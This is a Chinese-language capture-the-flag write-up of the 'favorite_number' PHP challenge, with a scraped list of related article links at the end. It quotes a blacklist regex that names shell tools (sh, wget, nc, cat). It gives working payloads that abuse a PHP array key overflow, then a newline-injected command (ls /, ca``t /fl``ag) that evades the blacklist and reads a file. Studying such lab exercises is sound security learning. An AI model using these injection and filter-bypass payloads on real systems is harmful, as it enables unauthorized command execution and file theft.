攻防世界-favorite_number
老样子进入环境,一段代码刷刷下来,闯进脑子里
这里就需要具备php语言的基础了,还有正则的基础,还不会的小伙伴,赶紧补一补
(注意php5.5.9这个版本)
分析一下代码:
if($stuff === $array && $stuff[0] != 'admin') //数组判断,强等于,首元素需要不等于 'admin'
if (preg_match("/^\d+$/im",$num)) //只允纯数字, 看到谋面的/m了吧,这是开启了多行匹配,所以呢
^和$不只是字符串匹配开头和结尾,这就是匹配每一行的开头和结尾. 用%a0换行,这样正则匹配就只能匹配到第一行.
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num))
// 这里相当于一个黑名单,不允许有我们常用的可以执行的代码命令,把它们都过滤掉了
主要的代码部分都清楚了,步骤就绕过这三个if 执行里面的system
这第一给if就给我难住了,想了很久,要不然就是溢出,要不就是php5.5.9这个版本有什么漏洞,不然怎么构造payload 我也绕不过去,去逛了一圈,看到了一些资料,php5.5.26这版本有个整数溢出漏洞
小伙伴可以自己看一看: https://bugs.php.net/bug.php?id=69892
漏洞就是说数组中键值为0的元素与4294967296 //0x100000000 (0x开头表示16进制,换算过来就是4294967296)的元素是一样的
所以我们构造payload先绕过第一个if:
stuff[4294967296]=admin&stuff[1]=user&num=666
第一个if绕过
第二个if后面加%0a加ls /查看根目录
看到flag字样了,cat /flag猫一眼
好家伙,被过滤掉了,那么就要想想别的办法看了
https://blog.csdn.net/weixin_42373789/article/details/113451481可以参考参考绕过姿势,加上自己奇思妙想
stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=666%0a ca``t /fl``ag
成功拿到flag,打完收工!
攻防世界-favorite_number相关推荐
- 攻防世界 favorite_number mfw、[BJDCTF2020]ZJCTF,不过如此
favorite_number 进入环境得到源码 <?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', ...
- 攻防世界 web高手进阶区 9分题 favorite_number
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...
- 攻防世界【favorite_number】解题方法
攻防世界[favorite_number]解题方法 1. 简单分析 进入场景,直接给出了php源码 2. php数组下标溢出 第一层绕过:绕过数组的比较 php中使用$_POST["stuf ...
- 攻防世界WEB练习-favorite_number
前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 攻防世界专栏:https://blog.csdn.net ...
- 攻防世界 web篇(二)
攻防世界 web篇(二) warmup favorite_number warmup shrine warmup $whitelist = ["source"=>" ...
- 攻防世界-web高手进阶区
文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...
- 【攻防世界001】Guess-the-Number
攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...
- 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制
ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...
- 攻防世界(Pwn) forgot---栈溢出;(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
最新文章
- 《Android 开发入门与实战(第二版)》——6.6节配置改变
- StructureMap 代码分析之Widget 之Registry 分析 (1)
- WPF画N角芒星,正N角星
- JVM 垃圾回收算法 -可达性分析算法!!!高频面试!!!
- 安卓入门系列-07常用UI控件(长文)
- Centos 6.4使用本地yum源
- MVC中提交表单的4种方式
- JsonData响应工具类封装
- Nginx文档阅读笔记-Reverse Proxy vs. Load Balancer(反向代理与负载均衡)
- JavaScript高级程序设计(第三版)学习笔记22、24、25章
- 华为机试HJ68:成绩排序
- CentOS 6.5下安装Docker
- 为保证云应用及虚拟串口功能正常使用,请务必下载安装Windows系统环境补丁
- 基于Thinkphp6+Element的插件化后台管理系统
- Vue核心技术-41,vue-router-导航守卫
- 运行海康威视sdk实现拍照遇到的问题与解决
- 李沐-斯坦福《实用机器学习》-01章
- vue 2.0使用tinymce-vue富文本
- 杨辉三角形【找规律】
- 苹果手机用的linux系统,苹果最差的手机竟是它,你有用过吗?
热门文章
- 进程和线程的区别和联系
- 广州市南沙区人社领导来访霖珑云科考察调研,共同探索灵活用工新模式
- jboss esb_与JBoss ESB和LegStar的大型机集成
- MySql+JDBC
- kaggle无法注册的问题解决
- 【eoe Android特刊】第二十四期Android WebView
- 网贷行业进入关键期,真正的分水岭正在显现 | 一点财经
- 农场乐翻天服务器维护,农场乐翻天游戏-农场乐翻天游戏预约v1.0-游戏宝手游网...
- 服务器带宽租用常见问题
- iMobile与Online在线场景数据的交互